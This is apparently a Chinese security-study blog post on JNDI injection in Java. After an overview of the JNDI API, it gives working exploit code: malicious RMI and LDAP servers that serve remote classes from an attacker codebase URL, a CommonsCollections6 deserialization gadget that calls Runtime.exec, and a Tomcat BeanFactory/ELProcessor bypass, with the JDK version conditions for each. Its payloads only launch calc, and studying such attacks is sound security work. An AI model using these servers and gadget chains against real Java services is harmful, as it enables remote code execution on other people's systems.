JNDI注入学习

JNDI

​ JNDI的全称是Java Naming and Directory Interface,即Java命名和目录接口,作用是为JAVA应用程序提供命名和目录访问服务的API。通过管理者对api映射相特定的命名和目录系统。使得Java应用程序可以和这些命名服务和目录服务之间进行交互。

结构

jndi主要包括五个结构

javax.nameing

​ 包含用于访问命名服务的类和接口。定义了name和Context接口

javax.nameing.directory

​ 扩展核心 javax.命名包,以提供除命名服务之外访问目录的功能。

javax.nameing.event

​ 包含用于支持命名和目录服务中的事件通知的类和接口。

javax.nameing.ldap

​ 包含用于支持 LDAPv3 扩展操作和控制的类和接口。

javax.nameing.spi

​ 包含允许在 JNDI 下动态插入各种命名和目录服务提供程序的类和接口。

相关类

InitialContext

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
  //构造一个初始化的上下文,选择是否初始化上下文
protected InitialContext(boolean lazy) throws NamingException {
if (!lazy) {
init(null);
}
}
//默认初始上下文
public InitialContext() throws NamingException {
init(null);
}

//根据提供的环境初始化提供环境的上下文
public InitialContext(Hashtable<?,?> environment)
throws NamingException
{
if (environment != null) {
environment = (Hashtable)environment.clone();
}
init(environment);
}

主要方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public void bind(String name, Object obj) throws NamingException {
getURLOrDefaultInitCtx(name).bind(name, obj);
}//绑定一个对象

public void rebind(String name, Object obj) throws NamingException {
getURLOrDefaultInitCtx(name).rebind(name, obj);
}//重新绑定一个对象,同时覆盖之前所有存在的绑定
public void unbind(String name) throws NamingException {
getURLOrDefaultInitCtx(name).unbind(name);
}//解除绑定
public void rename(String oldName, String newName) throws NamingException {
getURLOrDefaultInitCtx(oldName).rename(oldName, newName);
}//更改绑定名称
public Object lookup(String name) throws NamingException {
return getURLOrDefaultInitCtx(name).lookup(name);
}//对象检索
public NamingEnumeration<NameClassPair> list(String name)
throws NamingException
{
return (getURLOrDefaultInitCtx(name).list(name));
}//列举名字所绑定的对象

Reference

提供了对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。

主要方法

1
2
3
4
5
6
7
8
9
10
11
12
void add(int posn, RefAddr addr) 将地址添加到索引posn的地址列表中。  
void add(RefAddr addr) 将地址添加到地址列表的末尾。
void clear() 从此引用中删除所有地址。
RefAddr get(int posn) 检索索引posn上的地址。
RefAddr get(String addrType) 检索地址类型为“addrType”的第一个地址。
Enumeration<RefAddr> getAll() 检索本参考文献中地址的列举。
String getClassName() 检索引用引用的对象的类名。
String getFactoryClassLocation() 检索此引用引用的对象的工厂位置。
String getFactoryClassName() 检索此引用引用对象的工厂的类名。
Object remove(int posn) 从地址列表中删除索引posn上的地址。
int size() 检索此引用中的地址数。
String toString() 生成此引用的字符串表示形式。

jdni注入

假设有这样的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package org.example.jndi;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class test {
public static void main(String[] args) throws NamingException {
String url = "rmi://127.0.0.1:1145/exp";
InitialContext initacontext = new InitialContext();//本地初始化环境
initacontext.lookup(url);//远程对象加载

}
}

这里我们会从远端的url这里获取到一个对象,然后获取到本地进行加载

如果因为某些原因,导致这里的url可以被我们控制,那么就可以加载任意恶意类

JNDI+RMI注入

先构建一个JNDIRMIserver

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package org.example.jndi;

import javax.naming.InitialContext;
import javax.naming.Reference;

public class JNDIRMIServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1145);
InitialContext initialContext = new InitialContext();
Reference refObj = new Reference("TestRef", "TestRef", "http://localhost:7777/");
initialContext.rebind("rmi://localhost:1145/remoteObj",refObj);
}
}

在这里我们分别设置了两个端口,jndi的端口1145和rmi的端口7777

构建一个client

1
2
3
4
5
6
7
8
9
10
11
12
package org.example.jndi;

import org.example.rmi.IRemoteObj;
import javax.naming.InitialContext;

public class JNDIRMIClient {
public static void main(String[] args) throws Exception {
InitialContext initialContext = new InitialContext();
initialContext.lookup("rmi://localhost:1145/remoteObj");
}
}

然后在本地编译一个恶意的类TestRef类

1
2
3
4
5
6
7
8
9
10
11

import org.example.rmi.IRemoteObj;
import javax.naming.InitialContext;

public class JNDIRMIClient {
public static void main(String[] args) throws Exception {
InitialContext initialContext = new InitialContext();
initialContext.lookup("rmi://localhost:1145/remoteObj");
}
}

使用javac编译成class文件

image-20240205144532425

注意这里的TestRef类里面千万不要存在package 不然会出现报错

原因是程序会按照这个org/example/这个包去寻找这个类,然而并不存在,就会报错抛出

然后起一个服务

image-20240205144852267

image-20240205144948704

可以看到 成功加载了我们的恶意类,导致rce

利用要求

com.sun.jndi.rmi.object.trustURLCodebase,com.sun.jndi.cosnaming.object.trustURLCodebase为false

一般低版本情况下默认为false,高版本情况下默认为true(从jdk8u121 7u131 6u141版本开始)

我测试使用的环境是8u66

JNDI+LDAP

LDAP

LDAP 的全称是 Lightweight Directory Access Protocol,「轻量目录访问协议」

LDAP服务的Reference远程加载Factory类不受com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制。

首先创建一个LDAP的server

贴一个来自某大佬的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
package org.example.jndi;

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class JNDILDAPServer {

private static final String LDAP_BASE = "dc=example,dc=com";

public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:8080/#TestRef"};
int port = 7777;

try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;

public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}

@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}


本地加载类,开一个端口

image-20240205174012199

恶意类和上一个一样

然后加载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package org.example.jndi;

import javax.naming.InitialContext;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDILDAPClient {
public static void main(String[] args) throws Exception{

InitialContext initialContext = new InitialContext();
Object obj = initialContext.lookup("ldap://127.0.0.1:7777/TestRef");
System.out.println(obj);
}
}

成功rce

image-20240205173451402

利用条件

1
JDK <8u191或者com.sun.jndi.ldap.object.trustURLCodebase=true

JNDI绕过

当jdk>8u191的时候,com.sun.jndi.ldap.object.trustURLCodebase默认就设置成false了

bypass 1 反序列化绕过

受害者请求Reference类后,将从服务器下载字节流进行反序列化获得Reference对象,这里我们就可以进行一个注入

利用条件

本地存在可以利用的反序列化链子

我们以cc6为例子

server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
package org.example.jndi.highlevel;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;

public class LDAPServer {
private static final String LDAP_BASE = "dc=example,dc=com";

public static void main ( String[] tmp_args ) throws Exception{
String[] args=new String[]{"http://192.168.43.88/#test"};
int port = 6666;

InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;

public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}

@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}

e.addAttribute("javaSerializedData",CommonsCollections6());

result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}

private static byte[] CommonsCollections6() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"bbb");
lazymap.remove("aaa");
Class lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap,chainedTransformer);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(map2);
objectOutputStream.close();

return byteArrayOutputStream.toByteArray();
}

}

Client

1
2
3
4
5
6
7
8
9
package org.example.jndi.highlevel;

import javax.naming.InitialContext;

public class JNDI_Test {
public static void main(String[] args) throws Exception{
Object object=new InitialContext().lookup("ldap://127.0.0.1:6666/calc");
}
}

简单调试下

image-20240205194502246

我们先进去请求了这个类

可以看到这里调用了类里面的方法

image-20240205194612402

image-20240205194823506

在com.sun.jndi.ldap.Obj#decodeObject存在

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
static Object decodeObject(Attributes var0) throws NamingException {
String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));

try {
Attribute var1;
if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
ClassLoader var3 = helper.getURLClassLoader(var2);
return deserializeObject((byte[])((byte[])var1.get()), var3);
} else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
} else {
var1 = var0.get(JAVA_ATTRIBUTES[0]);
return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
}
} catch (IOException var5) {
NamingException var4 = new NamingException();
var4.setRootCause(var5);
throw var4;
}
}

可以看到存在一个反序列化的操作,从而完成rce

bypass 2 加载本地类

在JDK 11.0.1、8u191、7u201、6u211之后,如果存在问题的类在远程,在没有设置com.sun.jndi.ldap.object.trustURLCodebase的情况下是不能直接完成加载的,但是我们可以加载本地存在的恶意类,比如说org.apache.naming.factory.BeanFactory

起一个服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package org.example.jndi.highlevel;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {

public static void main(String[] args) throws Exception{

System.out.println("Creating evil RMI registry on port 1097");
Registry registry = LocateRegistry.createRegistry(1097);

ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));

ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);

}
}

客户端

1
2
3
4
5
6
7
8
9
10
package org.example.jndi.highlevel;

import javax.naming.InitialContext;

public class JNDI_Test {
public static void main(String[] args) throws Exception{
Object object=new InitialContext().lookup("rmi://127.0.0.1:1097/Object");
}
}

可以看到成功rce

image-20240205195823245

调试一下

调用栈

1
2
3
4
5
6
7
getObjectInstance:123, BeanFactory (org.apache.naming.factory)
getObjectInstance:321, NamingManager (javax.naming.spi)
decodeObject:499, RegistryContext (com.sun.jndi.rmi.registry)
lookup:138, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:9, JNDI_Test (demo)

javax.naming.spi.NamingManager#getObjectInstance获取一个实例化的对象之后,,还会调用factory.getObjectInstance,如果我们寻找的这个类存在这个恶意的getObjectInstance方法

在BeanFactory里面存在getObjectInstance方法

主要在以下点存在东西

1
2
3
4
5
6
7
8
9
10
11
12

value = (String)ra.getContent();
Object[] valueArray = new Object[1];
Method method = (Method)forced.get(propName);
if (method != null) {
valueArray[0] = value;

try {
method.invoke(bean, valueArray);
} catch (IllegalArgumentException | InvocationTargetException | IllegalAccessException var23) {
throw new NamingException("Forced String setter " + method.getName() + " threw exception for property " + propName);
}

可以看到存在一个任意方法调用

Reference

JNDI注入学习 - 先知社区 (aliyun.com)

Java安全之JNDI注入 - nice_0e3 - 博客园 (cnblogs.com)

JNDI注入原理及利用 - 先知社区 (aliyun.com)**